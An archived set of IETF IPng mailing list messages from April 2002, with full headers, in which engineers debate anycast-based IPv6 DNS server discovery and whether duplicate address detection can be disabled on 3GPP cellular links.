(from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UEGTUG005411; Tue, 30 Apr 2002 07:16:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEGQrP005404 for ; Tue, 30 Apr 2002 07:16:26 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA07892 for ; Tue, 30 Apr 2002 07:16:26 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA28523 for ; Tue, 30 Apr 2002 08:16:16 -0600 (MDT) Received: from rdroms-w2k.cisco.com (dhcp-161-44-149-201.cisco.com [161.44.149.201]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA18562 for ; Tue, 30 Apr 2002 10:16:15 -0400 (EDT) Message-Id: <4.3.2.7.2.20020430101507.03729c30@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 30 Apr 2002 10:16:12 -0400 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: RE: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AD05@Esealnt861.al.sw. ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Are the MLD extensions for anycast written up somewhere? - Ralph At 03:56 PM 4/30/2002 +0200, Hesham Soliman (ERA) wrote: > > > >> b) What's the security model by which the router decides > > whether to > > >> accept routing updates from the DNS server? > > > > > > The same model that is used between routers in the network. > > > > Right, so this approach adds a whole new set of boxes that > > can mess up > > your routing system. This does not strike me as a good thing. > >=> Which boxes does it add? I really don't see any more >boxes here. Note, I'm not advocating this particular >approach (injecting routes from the DNS) but I don't >agree with your claim above, and I think it can work. > >I think something like MLD extensions would be much cleaner. > > > > That's up to your implementation. The DNS is the only > > server using > > > this address, so you can tie them together. > > > > Sure. One can do the same kind of thing with the DHCP approach (use > > SO_REUSEPORT or whatever and tie the DHCP mini server to the DNS > > server). > >=> I believe you :), in fact, since you read the draft >(twice now ;) ) you would have seen that DHCP messages >were also considered for the 'content' part of the >discovery. > > > The point was just that exactly the same considerations apply to the > > anycast proposal as apply to other proposals. > >=> I think you're mixing the 'content' of the message >used for discovery and the method used for transporting >that message to the right server. Anycast does the latter. >So I don't know why you're comparing anycast with DHCP. >DHCP can also use anycast in theory, I never tried >it. > >Hesham >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:23:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEN0rP005504; Tue, 30 Apr 2002 07:23:00 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UEN0V5005503; Tue, 30 Apr 2002 07:23:00 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEMvrP005496 for ; Tue, 30 Apr 2002 07:22:57 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA26748 for ; Tue, 30 Apr 2002 07:22:58 -0700 (PDT) Received: from roam (roam.psg.com [193.0.5.205]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA02687 for ; Tue, 30 Apr 2002 08:22:57 -0600 (MDT) Received: from localhost ([127.0.0.1] helo=roam.psg.com ident=randy) by roam.psg.com with esmtp (Exim 4.04) id 172YWu-000E2n-00; Tue, 30 Apr 2002 10:22:56 -0400 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Rob Austein Cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> Message-Id: Date: Tue, 30 Apr 2002 10:22:56 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> Actually that is an incorrect statement. The IPv6 addressing >> architecture forbids the use of an anycast address as the source >> address. So, the response back from the anycast member will have >> one of its unicast addresses as the source address. So, it is >> similar to your multicast request/unicast response model. > Sorry, back up. I assumed that this proposal intended to change that > restriction, since with that restriction in place the resolvers won't > be able to match up the responses they get with the queries they sent > and anycast DNS won't work at all. as i have been saying for a year or two. this bit of stupidity makes anycast useless for the majority of uses to which it is put today [0]. i presume it will be ignored, and hence die when this stuff tries to go for draft. if not, a buch of v6 use will die [1]. randy --- [0] - of course the wonderous new world of v6 will have giga-jillions of more wonderful uses for this pseudo anycast. [1] - why is the v6 community so hell-bent on shooting itself in the foot? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:44:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEijrP005560; Tue, 30 Apr 2002 07:44:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UEijtJ005559; Tue, 30 Apr 2002 07:44:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEifrP005552 for ; Tue, 30 Apr 2002 07:44:41 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA26946 for ; Tue, 30 Apr 2002 07:44:42 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA19709 for ; Tue, 30 Apr 2002 08:44:10 -0600 (MDT) Received: from kenawang ([147.11.233.18]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id HAA24275; Tue, 30 Apr 2002 07:43:07 -0700 (PDT) Message-Id: <4.2.2.20020430103605.01fba8a0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 30 Apr 2002 10:41:54 -0400 To: john.loughney@nokia.com From: Margaret Wasserman Subject: Re: DAD in 2g/3g hosts (was: Review comments on IPv6 for Second and Third Generation Cellular Hosts) Cc: In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEFC6504E@esebe004.NOE.Nokia. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi John, At 06:41 AM 4/30/02 , john.loughney@nokia.com wrote: >As pointed out, the draft you have edited (draft-ietf-ipv6-3gpp-recommend-02.txt) >states: > > 7.1 Limitations of 3GPP Address Assignment > > The current 3GPP address assignment mechanism has the following > limitations: > > The GGSN only advertises a single /64 prefix, rather than a > set of prefixes. This will prevent the participation of 3GPP > nodes (e.g. handsets or 3GPP-attached laptops) in IPv6 site > renumbering, or in other mechanisms that expect IPv6 hosts to > create addresses based on multiple advertised prefixes. > > A 3GPP node is assigned a single identifier and is not allowed > to generate additional identifiers. This will prevent the use > of privacy addresses by 3GPP nodes. This also makes 3GPP > mechanisms not fully compliant with the expected behavior of > IPv6 nodes, which will result in incompatibility with popular > laptop IPv6 stacks. For example, a laptop that uses privacy > addresses for web browser connections could not currently not > currently establish a web browser connection over a 3GPP link. > >As our draft is not meant to change either IETF nor 3GPP specifications, >we cannot make any additional claims. The recommendations draft will only be an informational RFC. It doesn't define the behaviour of 3GPP or IPv6. I understand that the 3GPP changed the behaviour of 3GPP in this area, based on this draft, so I don't believe that the above paragraphs still apply. They also don't indicate anything about how/if the GGSN can assign addresses to itself. >Is there something that you wish to see in our document to fully cover >this? One possiblility would be to add the following text to the end >of 2.5.1: > > If Privacy Addresses are used [RFC-3041], then DupAddrDetectTransmits > should not be set to zero. Perhaps this would work... However, it may not be necessary. Several people have stated that the GGSN is prohibited, but the 3GPP specs, from allocating any addresses in the prefix that it assigns to the handset. I haven't been able to find this in the specs (although I admit that I am not really a 3GPP expert). If it is true, though, then DAD is actually unnecessary on 3GPP links, and DupAddrDetectTransmits can always by zero. Can you site a particular passage in the 3GPP specs that prohibits the GGSN from allocating any addresses (for its own use) within the prefix assigned to each PDP context? If so, DupAddrDetectTransmits=0 is fine. Thanks, Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:46:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEkjrP005577; Tue, 30 Apr 2002 07:46:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UEkjIa005576; Tue, 30 Apr 2002 07:46:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEkgrP005569 for ; Tue, 30 Apr 2002 07:46:42 -0700 (PDT) Received: from kathmandu.sun.com ([129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA02706 for ; Tue, 30 Apr 2002 07:46:43 -0700 (PDT) Received: from mail5.nc.rr.com ([24.93.67.52]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA18544 for ; Tue, 30 Apr 2002 08:46:43 -0600 (MDT) Received: from nc.rr.com ([24.162.252.183]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Tue, 30 Apr 2002 10:45:40 -0400 Message-ID: <3CCEAD5E.3F436BED@nc.rr.com> Date: Tue, 30 Apr 2002 10:42:38 -0400 From: Brian Haberman X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Ralph Droms CC: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4.3.2.7.2.20020430101507.03729c30@funnel.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The original anycast extensions draft was incorporated into the MLDv2 draft (draft-vida-mld-v2-02.txt) which is a MAGMA WG document. Regards, Brian Ralph Droms wrote: > > Are the MLD extensions for anycast written up somewhere? > > - Ralph > > At 03:56 PM 4/30/2002 +0200, Hesham Soliman (ERA) wrote: > > > > > >> b) What's the security model by which the router decides > > > whether to > > > >> accept routing updates from the DNS server? > > > > > > > > The same model that is used between routers in the network. > > > > > > Right, so this approach adds a whole new set of boxes that > > > can mess up > > > your routing system. This does not strike me as a good thing. > > > >=> Which boxes does it add? I really don't see any more > >boxes here. Note, I'm not advocating this particular > >approach (injecting routes from the DNS) but I don't > >agree with your claim above, and I think it can work. > > > >I think something like MLD extensions would be much cleaner. > > > > > > That's up to your implementation. The DNS is the only > > > server using > > > > this address, so you can tie them together. > > > > > > Sure. One can do the same kind of thing with the DHCP approach (use > > > SO_REUSEPORT or whatever and tie the DHCP mini server to the DNS > > > server). > > > >=> I believe you :), in fact, since you read the draft > >(twice now ;) ) you would have seen that DHCP messages > >were also considered for the 'content' part of the > >discovery. > > > > > The point was just that exactly the same considerations apply to the > > > anycast proposal as apply to other proposals. > > > >=> I think you're mixing the 'content' of the message > >used for discovery and the method used for transporting > >that message to the right server. Anycast does the latter. > >So I don't know why you're comparing anycast with DHCP. > >DHCP can also use anycast in theory, I never tried > >it. > > > >Hesham > >-------------------------------------------------------------------- > >IETF IPng Working Group Mailing List > >IPng Home Page: http://playground.sun.com/ipng > >FTP archive: ftp://playground.sun.com/pub/ipng > >Direct all administrative requests to majordomo@sunroof.eng.sun.com > >-------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 07:50:57 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEovrP005597; Tue, 30 Apr 2002 07:50:57 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UEovs8005596; Tue, 30 Apr 2002 07:50:57 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UEosrP005589 for ; Tue, 30 Apr 2002 07:50:54 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03894 for ; Tue, 30 Apr 2002 07:50:55 -0700 (PDT) Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA23493 for ; Tue, 30 Apr 2002 08:50:54 -0600 (MDT) Received: from nc.rr.com ([24.162.252.183]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Tue, 30 Apr 2002 10:50:53 -0400 Message-ID: <3CCEAE97.26BA9F7@nc.rr.com> Date: Tue, 30 Apr 2002 10:47:51 -0400 From: Brian Haberman X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob, Rob Austein wrote: > > At Tue, 30 Apr 2002 08:07:14 -0400, Brian Haberman wrote: > > > > Actually that is an incorrect statement. The IPv6 addressing > > architecture forbids the use of an anycast address as the source > > address. So, the response back from the anycast member will have > > one of its unicast addresses as the source address. So, it is > > similar to your multicast request/unicast response model. > > Sorry, back up. I assumed that this proposal intended to change that > restriction, since with that restriction in place the resolvers won't > be able to match up the responses they get with the queries they sent > and anycast DNS won't work at all. Perhaps this week's version of the > proposed solution for this is something that walks and quacks like an > anycast route but is called something else so that you can use it as a > source address. I don't really care either way, it's still an anycast > route in all but name. Section 9.2 of draft-ietf-ipv6-dns-discovery-04.txt states: Since the destination address may be an anycast address, the reply will necessarily come from a different address. The host must not discard the reply simply because the source address is different. A more detailed discussion of this issue can be found in [ANYCAST]. So, in my reading it is not proposing to lift the restriction, rather engineer around it. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 08:13:36 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UFDarP005800; Tue, 30 Apr 2002 08:13:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UFDauV005799; Tue, 30 Apr 2002 08:13:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UFDWrP005792 for ; Tue, 30 Apr 2002 08:13:32 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04304 for ; Tue, 30 Apr 2002 08:13:34 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA08867 for ; Tue, 30 Apr 2002 09:13:33 -0600 (MDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3UFDSs7022790 for ; Tue, 30 Apr 2002 17:13:32 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Tue Apr 30 17:13:27 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Apr 2002 17:02:47 +0200 Message-ID: <795A014AF92DD21182AF0008C7A404320DFBF0A8@esealnt117> From: "Karim El-Malki (ERA)" To: "'Margaret Wasserman'" , john.loughney@nokia.com Cc: ipng@sunroof.eng.sun.com Subject: RE: DAD in 2g/3g hosts (was: Review comments on IPv6 for Second and Third Generation Cellular Hosts) Date: Tue, 30 Apr 2002 17:11:12 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Can you site a particular passage in the 3GPP specs that > prohibits the GGSN > from allocating any addresses (for its own use) within the > prefix assigned to each > PDP context? If so, DupAddrDetectTransmits=0 is fine. Here is part of the approved change to 23.060 under the section "Dynamic IPv6 Address Allocation": "The GGSN shall not use the prefix advertised to the MS to configure an address on any of its interfaces." So it would be OK to suppress DADs in this case. /Karim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 08:16:02 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UFG2rP005822; Tue, 30 Apr 2002 08:16:02 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UFG2HM005821; Tue, 30 Apr 2002 08:16:02 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UFFwrP005814 for ; Tue, 30 Apr 2002 08:15:58 -0700 (PDT) Received: from kathmandu.sun.com ([129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA28911 for ; Tue, 30 Apr 2002 08:15:59 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA07851 for ; Tue, 30 Apr 2002 09:15:59 -0600 (MDT) Received: from kenawang ([147.11.233.18]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id IAA15873; Tue, 30 Apr 2002 08:14:48 -0700 (PDT) Message-Id: <4.2.2.20020430111622.01fbfa90@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 30 Apr 2002 11:17:21 -0400 To: "Karim El-Malki (ERA)" From: Margaret Wasserman Subject: RE: DAD in 2g/3g hosts (was: Review comments on IPv6 for Second and Third Generation Cellular Hosts) Cc: john.loughney@nokia.com, ipng@sunroof.eng.sun.com In-Reply-To: <795A014AF92DD21182AF0008C7A404320DFBF0A8@esealnt117> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Great! I guess I don't have the most recent version of 23.060... I'm satisfied. Margaret At 11:11 AM 4/30/02 , Karim El-Malki (ERA) wrote: > > Can you site a particular passage in the 3GPP specs that > > prohibits the GGSN > > from allocating any addresses (for its own use) within the > > prefix assigned to each > > PDP context? If so, DupAddrDetectTransmits=0 is fine. > >Here is part of the approved change to 23.060 under the >section "Dynamic IPv6 Address Allocation": > >"The GGSN shall not use the prefix advertised to the MS to >configure an address on any of its interfaces." > >So it would be OK to suppress DADs in this case. > >/Karim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 09:11:10 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UGBArP006153; Tue, 30 Apr 2002 09:11:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UGB9aj006152; Tue, 30 Apr 2002 09:11:09 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UGB6rP006145 for ; Tue, 30 Apr 2002 09:11:06 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA22180 for ; Tue, 30 Apr 2002 09:11:08 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA23918 for ; Tue, 30 Apr 2002 09:11:08 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 78D611BFF for ; Tue, 30 Apr 2002 12:11:07 -0400 (EDT) Date: Tue, 30 Apr 2002 12:11:07 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <3CCEAE97.26BA9F7@nc.rr.com> References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <3CCE88F2.92C5BF9B@nc.rr.com> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> <3CCEAE97.26BA9F7@nc.rr.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020430161107.78D611BFF@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk So now we're back to changing the DNS protocol and every IPv6-capable DNS client in the world to support triangular wheels. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 10:11:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UHB0rP006343; Tue, 30 Apr 2002 10:11:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3UHB0g1006342; Tue, 30 Apr 2002 10:11:00 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UHAvrP006335 for ; Tue, 30 Apr 2002 10:10:57 -0700 (PDT) Received: from kathmandu.sun.com ([129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23966 for ; Tue, 30 Apr 2002 10:11:00 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA02199 for ; Tue, 30 Apr 2002 11:10:59 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 955421C30 for ; Tue, 30 Apr 2002 13:10:58 -0400 (EDT) Date: Tue, 30 Apr 2002 13:10:58 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AD05@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6AD05@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020430171058.955421C30@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 30 Apr 2002 15:56:12 +0200, Hesham Soliman wrote: > > Which boxes does it add? I really don't see any more boxes > here. Note, I'm not advocating this particular approach (injecting > routes from the DNS) but I don't agree with your claim above, and I > think it can work. This approach would bring the DNS server boxes inside the trust boundary of the routers. They're not there now, and if the prospect of bringing them inside that trust boundary doesn't strike terror in your heart, you need to spend more time reading bugtraq. :) > I think something like MLD extensions would be much cleaner. I agree that something like the MLD extensions would almost certainly be a cleaner approach than having the DNS servers play routing games directly. > I believe you :), in fact, since you read the draft (twice now ;) ) > you would have seen that DHCP messages were also considered for the > 'content' part of the discovery. DHCP messages are not discussed in the stateless DNS discovery draft. Perhaps you're referring to the design team analysis draft? Don't worry, I read that too. > I think you're mixing the 'content' of the message used for > discovery and the method used for transporting that message to the > right server. Anycast does the latter. So I don't know why you're > comparing anycast with DHCP. DHCP can also use anycast in theory, I > never tried it. Service discovery via anycast has specific problems that I tried to detail in a previous message. In brief: using anycast in effect stores the configuration in the routing system itself and leaves the client with no recourse if the routing system (for whatever reason) gives answers that are not useful. This might be construed as ok if one assumes that the failure modes are all binary (either everything's working perfectly or everything's so broken that it doesn't matter), but I don't think that assumption is realistic, so the fundamental model of service discovery via anycast seems broken to me. I agree that the choice of message format is pretty much orthogonal to the method used for getting the location query to the entity that's going to answer them. There's a different set of issues involved in the choice of message format, which I'd sum up by saying that I think it'd be better to do configuration using a protocol that was designed for the purpose than it would be to retrofit configuration hacks onto a protocol that was designed to do something else. I don't think it'd be particularly useful to the WG to dive much further down that particular rathole right now, so with your permission I'll stop there. 